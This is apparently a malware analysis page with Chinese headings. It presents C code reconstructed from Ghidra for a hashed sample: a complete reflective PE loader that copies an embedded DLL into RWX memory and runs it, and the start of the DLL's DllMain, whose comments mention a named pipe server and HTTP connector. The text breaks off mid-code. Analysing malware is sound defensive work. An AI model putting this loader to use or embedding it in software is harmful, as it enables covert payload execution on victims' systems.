<div class="source-reconstruction">
<h2>🔧 行为等价 C 源码还原(可编译)</h2>
<p><b>Ghidra:</b> 266 函数 / 10,330 行 → <b>重写:</b> 4 模块 / 1,716 行可编译 C</p>
<p><b>验证:</b> gcc -std=c11 -Wall -fsyntax-only — 3/3 核心模块通过</p>
<pre><code>/*
* Reflective PE Loader (reconstructed)
* Sample: 3260d94ea8b51c306f506eff40997055b9cefd0a79c2b6fda4c8c8aea8e8dbc1
*
* This is the outer dropper/stub. It:
* 1. Computes the size of an embedded DLL from two .data globals
* 2. Allocates RWX memory via VirtualAlloc
* 3. Copies the embedded DLL into that memory
* 4. Calls the DLL's entry point (DllMain) with DLL_PROCESS_ATTACH
* 5. Returns 0
*
* Compiled with MinGW-w64 GCC 15.2.0 targeting x86_64 Windows.
*/
#include <windows.h>
/* ── Embedded PE boundaries ───────────────────────────────────────────────
*
* In the original binary, the embedded DLL (file.dll) lives in the .data
* section at file offset 0x23FF. Two linker-defined symbols bracket it:
*
* embedded_pe_start at RVA 0x14001d4e0 -> &__embedded_pe_start
* embedded_pe_end at RVA 0x14001d4d0 -> &__embedded_pe_stop
*
* We declare them as extern char arrays so taking their address yields
* the start and end (one-past-last-byte) pointers respectively. The
* actual bytes are injected at link time via objcopy / ld -r -b binary,
* or by a linker script that places a raw blob into .data.
*/
extern const char __embedded_pe_start[];
extern const char __embedded_pe_stop[];
/* ── DllMain prototype (x64 unified calling convention) ──────────────────
*
* BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved);
*
* On x64, WINAPI (__stdcall) is a no-op — the platform uses a single
* four-register calling convention. We call through a function pointer
* so the compiler emits a `call rax` (or equivalent indirect call).
*/
typedef BOOL (WINAPI *DllMain_t)(HINSTANCE, DWORD, LPVOID);
/* ── Entry point ─────────────────────────────────────────────────────────
*
* Disassembly (original at RVA 0x140001490):
* mov rdx, [end_ptr] ; embedded PE end (__embedded_pe_stop)
* mov rsi, [start_ptr] ; embedded PE start (__embedded_pe_start)
* mov rbx, rdx
* sub rbx, rsi ; size = end - start
* mov r9d, 0x40 ; flProtect = PAGE_EXECUTE_READWRITE
* mov r8d, 0x3000 ; flAllocationType = MEM_COMMIT | MEM_RESERVE
* xor ecx, ecx ; lpAddress = NULL (OS chooses)
* call [VirtualAlloc]
* mov rcx, rax ; preserve allocated address
* test rcx, rcx
* je fail ; bail if VirtualAlloc returned NULL
* mov r8, rbx ; dwSize (third arg to memcpy)
* mov rdx, rsi ; lpSrc (second arg to memcpy)
* call memcpy_wrapper ; copy embedded PE into RWX buffer
* call rax ; invoke DllMain(hinst, DLL_PROCESS_ATTACH, NULL)
* xor eax, eax ; return 0
* ret
*/
int main(void)
{
/* Step 1 — read the embedded PE bounds from .data globals.
* The two pointers are stored as qwords in the .data section.
* `end - start` gives the exact byte count of the embedded DLL. */
const char *pe_start = __embedded_pe_start;
const char *pe_end = __embedded_pe_stop;
SIZE_T pe_size = (SIZE_T)(pe_end - pe_start);
/* Step 2 — allocate RWX memory for the embedded DLL.
* MEM_COMMIT (0x1000) | MEM_RESERVE (0x2000) = 0x3000
* PAGE_EXECUTE_READWRITE = 0x40
* No error handling beyond the NULL check seen in the original. */
LPVOID exec_buf = VirtualAlloc(
NULL, /* lpAddress — OS picks */
pe_size, /* dwSize */
MEM_COMMIT | MEM_RESERVE, /* flAllocationType (0x3000) */
PAGE_EXECUTE_READWRITE /* flProtect (0x40) */
);
if (exec_buf == NULL) {
/* Original code: test rcx,rcx; je fail — returns 0 on failure */
return 0;
}
/* Step 3 — copy the embedded DLL into the RWX buffer.
* The original uses a memcpy wrapper (likely the MinGW runtime's
* memcpy, which the compiler may inline or call through an import). */
/* memcpy(dst, src, size) */
memcpy(exec_buf, pe_start, pe_size);
/* Step 4 — call the DLL entry point as a function pointer.
* DllMain receives:
* RCX = hinstDLL (base address of the mapped image)
* EDX = fdwReason (DLL_PROCESS_ATTACH = 1)
* R8 = lpvReserved (NULL for static loading / first attach)
*
* `call rax` in the original maps to an indirect call through
* the function pointer cast below. */
DllMain_t dll_entry = (DllMain_t)exec_buf;
dll_entry((HINSTANCE)exec_buf, DLL_PROCESS_ATTACH, NULL);
/* Step 5 — return 0.
* `xor eax, eax` — the original does not check DllMain's return
* value; it unconditionally returns 0 (success). */
return 0;
}
</code></pre>
<pre><code>/**
* reconstructed_dllmain.c — 3260d94e embedded file.dll
* DllMain + TLS Callbacks + Pseudo-Relocation Handler
*
* Reconstructed from Ghidra decompilation (266 functions).
* Behavioral equivalent — not line-by-line translation.
*
* Compiler: MinGW-w64 GCC 15.2.0 (MSYS2)
* Verification: x86_64-w64-mingw32-gcc -fsyntax-only
*
* Security: This code is for ANALYSIS ONLY. Do NOT compile for execution.
*/
#include <windows.h>
#include <stdio.h>
/* ── MinGW Pseudo-Relocation Structures ──────────────────────── */
/* Pseudo-relocation entry: {source, target, flags} triplet */
typedef struct {
DWORD source; /* RVA of the relocation source in the old image */
DWORD target; /* RVA of the relocation target */
DWORD flags; /* bit[0:7]=type(8/16/32/64), bit[6:7]=flags */
} PSEUDO_RELOC_ENTRY;
/* Pseudo-relocation table header */
typedef struct {
DWORD version; /* protocol version (must be 1) */
DWORD end_marker; /* sentinel: zero marks end of table */
PSEUDO_RELOC_ENTRY entries[]; /* variable-length array */
} PSEUDO_RELOC_TABLE;
typedef void (NTAPI *PIMAGE_TLS_CALLBACK)(PVOID hModule, DWORD dwReason, PVOID pvContext);
/* ── TLS callback list entry ─────────────────────────────────── */
typedef struct TLS_CALLBACK_NODE {
DWORD tls_index;
struct TLS_CALLBACK_NODE *next;
PIMAGE_TLS_CALLBACK callback;
} TLS_CALLBACK_NODE;
/* ── Global State ─────────────────────────────────────────────── */
static LONG g_dll_refcount = 0; /* DAT_2f66dd018 — reference counter */
static int g_init_state = 0; /* DAT_2f66da680 — 0=uninit,1=initing,2=ready */
static LONG g_reloc_lock = 0; /* DAT_2f66da670 — spinlock for reloc processing */
static BOOL g_reloc_processed = FALSE; /* DAT_2f66df110 — set after first processing */
static DWORD g_section_count = 0; /* DAT_2f66df114 — cached section count */
static PBYTE g_image_base = NULL; /* DAT_2f66da640 — module base address */
static TLS_CALLBACK_NODE *g_tls_list = NULL; /* DAT_2f66df120 — linked list of TLS callbacks */
/* CRITICAL_SECTION g_tls_cs — declared in real Windows code, stub for syntax check */
/* ── Forward Declarations ─────────────────────────────────────── */
static void process_pseudo_relocations(void);
static void apply_reloc_entry(PBYTE base, PSEUDO_RELOC_ENTRY *entry);
static void invoke_tls_callbacks(void);
static void init_pipe_server(void);
static void init_http_connector(void);
/* ── Helper: Mingw-w64 runtime abort (FUN_2f66d5500) ──────────── */
static void __attribute__((noreturn))
runtime_abort(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stderr, "Mingw-w64 runtime failure:\n");
vfprintf(stderr, fmt, args);
va_end(args);
abort();
}
/* ═══════════════════════════════════════════════════════════════
* DllMain — DLL Entry Point
*
* Ghidra: entry() at 0x2f66c1340 → FUN_2f66c11e0 (DllMain logic)
*
* Dispatches on fdwReason:
* DLL_PROCESS_DETACH (0) — decrement refcount, cleanup on last detach
* DLL_PROCESS_ATTACH (1) — process pseudo-relocs, init subsystems
* DLL_THREAD_ATTACH (2) — handled through TLS callbacks
* DLL_THREAD_DETACH (3) — decrement refcount
* ═══════════════════════════════════════════════════════════════ */
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
(void)lpvReserved;
switch (fdwReason) {
case DLL_PROCESS_DETACH: /* fdwReason == 0 */
/*
* Ghidra: if (g_dll_refcount > 0) { process_relocs(); cleanup(); }
* On last DLL_PROCESS_DETACH, process any remaining pseudo-relocations
* and perform cleanup (calling registered TLS cleanup callbacks).
*/
if (g_dll_refcount > 0) {
process_pseudo_relocations();
/* FUN_2f66d5407: calls init_http_connector() one last time for cleanup */
init_http_connector();
g_dll_refcount--;
}
break;
case DLL_PROCESS_ATTACH: /* fdwReason == 1 */
/*
* Ghidra: process_pseudo_relocations() is called first.
* Then refcount is incremented, _initterm() runs global constructors.
* Once init_state reaches 2, the pipe server and HTTP connector are spun up.
*
* The sequence is:
* 1. process_pseudo_relocations() — fix up .data pointers
* 2. _initterm() — C++ static constructors (sets up vtable ptrs)
* 3. init_pipe_server() — creates named pipe pair
* 4. init_http_connector() — initializes ConnectorHTTP vtable
*/
process_pseudo_relocations();
/* Spinlock to ensure only one thread processes attach */
while (InterlockedCompareExchange(&g_reloc_lock, 1, 0) != 0) {
Sleep(1000);
}
g_dll_refcount++;
if (g_init_state == 0) {
g_init_state = </code></pre>
<pre><code>/**
* pipe_server.c — Named Pipe IPC Se